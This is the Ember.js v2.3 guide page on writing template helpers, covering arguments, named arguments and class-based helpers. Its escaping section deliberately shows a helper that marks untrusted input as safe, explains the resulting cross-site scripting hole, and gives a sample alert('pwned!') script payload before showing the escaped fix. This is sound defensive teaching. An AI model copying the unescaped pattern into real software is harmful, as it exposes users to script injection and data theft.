content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Writing Helpers - Templates - Ember Guides"> <!----> <meta property="og:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Writing Helpers - Templates - Ember Guides"> <!----> <meta name="twitter:description" content="Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users. For example,..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember115693" class="es-header ember-view" role="banner"><div id="ember115694" class="ember-view"><div class="container"> <nav id="ember115695" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember115696" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember115697" class="navbar-collapse collapse ember-view"><ul id="ember115698" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember115699" class="dropdown nav-item ember-view"> <a href="#" id="ember115700" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember115702" class="dropdown nav-item ember-view"> <a href="#" id="ember115703" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember115705" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember115706" class="dropdown nav-item ember-view"> <a href="#" id="ember115707" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember115709" class="dropdown nav-item ember-view"> <a href="#" id="ember115710" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember115712" class="nav navbar-nav ember-view"> <form> <div id="ember115713" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember115714" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember115715" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember115716" class="ember-basic-dropdown ember-view"> <div aria-label="v2.3.0" aria-owns="ember-basic-dropdown-content-ember115716" tabindex="0" data-ebd-id="ember115716-trigger" role="button" id="ember115717" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.3 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember115716" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember115721" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember115724" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/getting-started" id="ember115725" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember115726" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115728" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/tutorial" id="ember115729" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember115730" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115732" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/object-model" id="ember115733" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember115734" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115736" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/routing" id="ember115737" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember115738" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115740" class="cp-Panel cp-is-open ember-view"><a href="/v2.3.0/templates" id="ember115741" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember115742" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember115743" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/index" id="ember115745" class="ember-view"> Handlebars Basics </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/built-in-helpers" id="ember115747" class="ember-view"> Built-in Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/conditionals" id="ember115749" class="ember-view"> Conditionals </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/displaying-a-list-of-items" id="ember115751" class="ember-view"> Displaying a List of Items </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/displaying-the-keys-in-an-object" id="ember115753" class="ember-view"> Displaying the Keys in an Object </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/binding-element-attributes" id="ember115755" class="ember-view"> Binding Element Attributes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/links" id="ember115757" class="ember-view"> Links </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/actions" id="ember115759" class="ember-view"> Actions </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/input-helpers" id="ember115761" class="ember-view"> Input Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/templates/development-helpers" id="ember115763" class="ember-view"> Development Helpers </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.3.0/templates/writing-helpers" id="ember115765" class="selected ember-view"> Writing Helpers </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115767" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/components" id="ember115768" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember115769" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115771" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/controllers" id="ember115772" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember115773" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115775" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/models" id="ember115776" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember115777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115779" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/applications" id="ember115780" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember115781" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115783" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/testing" id="ember115784" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember115785" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115787" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/ember-inspector" id="ember115788" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember115789" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115791" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/addons-and-dependencies" id="ember115792" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember115793" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115795" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/configuring-ember" id="ember115796" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember115797" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115799" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/contributing" id="ember115800" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember115801" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember115803" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/glossary" id="ember115804" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember115805" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember115806" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.3.0. <a href="/release/templates/writing-helpers" id="ember115807" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.3.0/templates/writing-helpers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Writing Helpers </h1> <hr> <div id="ember115808" class="ember-view"><p>Helpers allow you to add additional functionality to your templates beyond what is included out-of-the-box in Ember. Helpers are most useful for transforming raw values from models and components into a format more appropriate for your users.</p> <p>For example, imagine we have an <code>Invoice</code> model that contains a <code>totalDue</code> attribute, which represents the total amount due for that invoice. Because we do not want our company to go out of business due to strange JavaScript rounding errors, <a href="http://stackoverflow.com/a/3730040">we store this value in cents instead of a floating point dollar value</a>.</p> <p>However, if we display dollar values to our users as "100¢" instead of "$1.00", they may be very confused. We can write a helper to format these values into the appropriate human-readable form.</p> <p>Let's create a <code>format-currency</code> helper that takes an integer count of cents and turns it into formatted dollars.</p> <p>To use the <code>format-currency</code> helper, you call it using curly braces in your template:</p> <pre><code class="handlebars language-handlebars">Your total is {{format-currency model.totalDue}}. </code></pre> <p>Let's now implement the helper. Helpers are functions that take one or more inputs and return a single output that should be put into the HTML.</p> <p>To add a new helper, create a file with the name of the helper you want (e.g. <code>format-currency.js</code>) in your application's <code>helpers</code> directory. You can also have Ember generate the file for you from the command line:</p> <pre><code class="bash language-bash">ember generate helper format-currency </code></pre> <p>That file should export a function wrapped with <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper.helper()</code></a>:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export function formatCurrency(params) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = '$'; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; } export default Ember.Helper.helper(formatCurrency); </code></pre> <p>In this example, the function receives a dollar amount in cents as the first parameter (<code>params[0]</code>). We then use regular JavaScript to turn the count of cents into a formatted string, like <code>"$5.00"</code>.</p> <p>Whenever you use your helper in a template, Ember will call this function and insert whatever you return from the helper into the DOM.</p> <p>So, if we want to display a purchase total we can pass the value into the template in cents:</p> <pre><code class="handlebars language-handlebars">Your total is {{format-currency 250}}. </code></pre> <p>And Ember makes use of our new helper function to replace the content inside the <code>{{ }}</code> with the formatted amount.</p> <pre><code class="handlebars language-handlebars">Your total is $2.50. </code></pre> <p>Whenever the arguments you've passed to a helper change, whether they come from a model or a component, Ember will automatically call your helper again with the new values and keep the page up-to-date.</p> <h3 id="toc_helper-names">Helper Names</h3> <section aria-labelledby="toc_helper-names"> <p>Unlike components, helpers do not require a dash (<code>-</code>) character in their name.</p> </section> <h3 id="toc_helper-arguments">Helper Arguments</h3> <section aria-labelledby="toc_helper-arguments"> <p>You can pass one or more arguments to be used inside the function. In the above example, we passed the amount in cents as the first and only argument.</p> <p>To pass multiple arguments to a helper, add them as a space-separated list after the helper name:</p> <pre><code class="handlebars language-handlebars">{{my-helper "hello" "world"}} </code></pre> <p>An array of these arguments is passed to the helper function:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params) { let arg1 = params[0]; let arg2 = params[1]; console.log(arg1); // =&gt; "hello" console.log(arg2); // =&gt; "world" }); </code></pre> <p>You can use JavaScript's destructuring assignment shorthand to clean up the code. This example is equivalent to the above example (note the function signature):</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function([arg1, arg2]) { console.log(arg1); // =&gt; "hello" console.log(arg2); // =&gt; "world" }); </code></pre> </section> <h3 id="toc_named-arguments">Named Arguments</h3> <section aria-labelledby="toc_named-arguments"> <p>Normal arguments are useful for passing data to be transformed into helper functions. However, because the order in which you pass arguments matters, it is usually best not to have helpers take more than one or two of them.</p> <p>That said, sometimes you may want to make behavior of helpers configurable by the developers that call them from their templates. For example, let's abandon our Americentric ways and update our <code>format-currency</code> helper to take an optional configuration for which currency symbol to display.</p> <p>Helpers allow you to pass named arguments as a JavaScript object that contains the name of the argument along with an associated value. The order in which named arguments are supplied does not affect functionality.</p> <p>In this example, we can pass a <code>sign</code> argument to our <code>format-currency</code> helper:</p> <pre><code class="handlebars language-handlebars">{{format-currency 350 sign="£"}} </code></pre> <p>We'd like our helper to print pounds sterling rather than US dollars:</p> <pre><code class="handlebars language-handlebars">£3.50 </code></pre> <p>The object containing named arguments is passed as the second argument to the helper function. Here is our example from above, updated to support the optional <code>sign</code> option:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.helper(function(params, namedArgs) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = namedArgs.sign === undefined ? '$' : namedArgs.sign; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; }); </code></pre> <p>You can pass as many named arguments as you'd like. They get added to the <code>namedArgs</code> argument passed to the function:</p> <pre><code class="handlebars language-handlebars">{{my-helper option1="hello" option2="world" option3="goodbye cruel world"}} </code></pre> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, namedArgs) { console.log(namedArgs.option1); // =&gt; "hello" console.log(namedArgs.option2); // =&gt; "world" console.log(namedArgs.option3); // =&gt; "goodbye cruel world" }); </code></pre> <p>You can use JavaScript's destructuring assignment shorthand in this case as well to clean up the above code:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/my-helper.js>export default Ember.Helper.helper(function(params, { option1, option2, option3 }) { console.log(option1); // =&gt; "hello" console.log(option2); // =&gt; "world" console.log(option3); // =&gt; "goodbye cruel world" }); </code></pre> <p>In sum, arguments are good for passing values:</p> <pre><code class="handlebars language-handlebars">{{format-date currentDate}} </code></pre> <p>Hashes are useful for configuring the behavior of a helper:</p> <pre><code class="handlebars language-handlebars">{{print-current-date format="YYYY MM DD"}} </code></pre> <p>You can have as many of both as you want, so long as the parameters come first:</p> <pre><code class="handlebars language-handlebars">{{format-date-and-time date time format="YYYY MM DD h:mm" locale="en"}} </code></pre> <p>The above example contains two arguments:</p> <ul> <li><code>date</code></li> <li><code>time</code></li> </ul> <p>And two named arguments:</p> <ul> <li><code>format="YYY MM DD h:mm"</code></li> <li><code>locale="en"</code></li> </ul> </section> <h3 id="toc_class-based-helpers">Class-based Helpers</h3> <section aria-labelledby="toc_class-based-helpers"> <p>By default, helpers are <em>stateless</em>. They are passed inputs (parameters and a hash), they perform an operation on those inputs, and return a single output. They have no side-effects and don't save any information that is used on subsequent runs of the function.</p> <p>In some situations, however, you may need to write a helper that interacts with the rest of your application. You can create class-based helpers that have access to services in your application, and can optionally save state as well, although this is usually unnecessary and error-prone.</p> <p>To create a class-based helper, rather than exporting a simple function, you should export a subclass of <a href="https://api.emberjs.com/classes/Ember.Helper.html"><code>Ember.Helper</code></a>. Helper classes must contain a <a href="https://api.emberjs.com/classes/Ember.Helper.html#method_compute"><code>compute</code></a> method that behaves the same as the function passed to <a href="https://api.emberjs.com/classes/Ember.Helper.html#method_helper"><code>Ember.Helper.helper</code></a>. In order to access a service, you must first inject it into the class-based helper. Once added, you can call the service's methods or access its properties from within the <code>compute()</code> method.</p> <p>As an exercise, here is the above <code>format-currency</code> helper re-factored into a class-based helper:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.extend({ compute(params, hash) { let value = params[0], dollars = Math.floor(value / 100), cents = value % 100, sign = hash.sign === undefined ? '$' : hash.sign; if (cents.toString().length === 1) { cents = '0' + cents; } return `${sign}${dollars}.${cents}`; } }); </code></pre> <p>This is exactly equivalent to the <code>format-currency</code> example above. You can think of the function version as a shorthand for the longer class form if it does not require dependency injection.</p> <p>As another example, let's make a helper utilizing an authentication service that welcomes users by their name if they're logged in:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/is-authenticated.js>export default Ember.Helper.extend({ authentication: Ember.inject.service(), compute() { let authentication = this.get('authentication'); if (authentication.get('isAuthenticated')) { return 'Welcome back, ' + authentication.get('username'); } else { return 'Not logged in'; } } }); </code></pre> </section> <h3 id="toc_escaping-html-content">Escaping HTML Content</h3> <section aria-labelledby="toc_escaping-html-content"> <p>To protect your application from cross-site scripting attacks (XSS), Ember automatically escapes any value you return from a helper so that the browser will not interpret it as HTML.</p> <p>For example, here's a <code>make-bold</code> helper that returns a string containing HTML:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { return `&lt;b&gt;${params[0]}&lt;/b&gt;`; }); </code></pre> <p>You can invoke it like this:</p> <pre><code class="handlebars language-handlebars">{{make-bold "Hello world"}} </code></pre> <p>Ember will escape the HTML tags, like this:</p> <pre><code class="handlebars language-handlebars">&amp;lt;b&amp;gt;Hello world&amp;lt;/b&amp;gt; </code></pre> <p>This shows the literal string <code>&lt;b&gt;Hello world&lt;/b&gt;</code> to the user, rather than the text in bold as you probably intended. We can tell Ember not to escape the return value (that is, that it is <em>safe</em>) by using the <a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a> string utility:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { return Ember.String.htmlSafe(`&lt;b&gt;${params[0]}&lt;/b&gt;`); }); </code></pre> <p>If you return a <code>SafeString</code> (a string that has been wrapped in a call to <a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a>), Ember knows that you have vouched on its behalf that it contains no malicious HTML.</p> <p>However, note that in the above code we may have inadvertently introduced an XSS vulnerability into our application! By blindly marking the string as safe, a malicious user could get their own HTML into our app, allowing them to do things like access sensitive customer data.</p> <p>For example, imagine that we have a chat app and use our <code>make-bold</code> helper to welcome the new users into the channel:</p> <pre><code class="handlebars language-handlebars">Welcome back! {{make-bold model.firstName}} has joined the channel. </code></pre> <p>Now a malicious user simply needs to set their <code>firstName</code> to a string containing HTML (like a <code>&lt;script&gt;</code> tag that sends private customer data to their server, for example) and every user in that chat room has been compromised.</p> <p>In general, you should prefer using components if you are wrapping content in HTML. However, if you really want to include a mix of HTML and values from models in what you return from the helper, make sure you escape anything that may have come from an untrusted user with the <code>escapeExpression</code> utility:</p> <pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) { let value = Ember.Handlebars.Utils.escapeExpression(params[0]); return Ember.String.htmlSafe(`&lt;b&gt;${value}&lt;/b&gt;`); }); </code></pre> <p>Now the value passed into the helper has its HTML escaped, but the trusted <code>&lt;b&gt;</code> tags that we want to wrap the value in are <em>not</em> escaped. A malicious user setting their <code>firstName</code> to something containing HTML would see this:</p> <pre><code class="handlebars language-handlebars">Welcome back! &lt;b&gt;&amp;lt;script type="javascript"&amp;gt;alert('pwned!');&amp;lt;/script&amp;gt;&lt;/b&gt; has joined the channel. </code></pre> </section> </div> <footer id="ember115809" class="ember-view"> <a href="/v2.3.0/templates/development-helpers" id="ember115810" class="previous-guide ember-view">Development Helpers</a> <a href="/v2.3.0/components/index" id="ember115811" class="next-guide ember-view"> We've finished covering Templates. Next up: Components - Defining a Component </a></footer> </article> </main> <footer id="ember115812" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember115813" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember115814" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 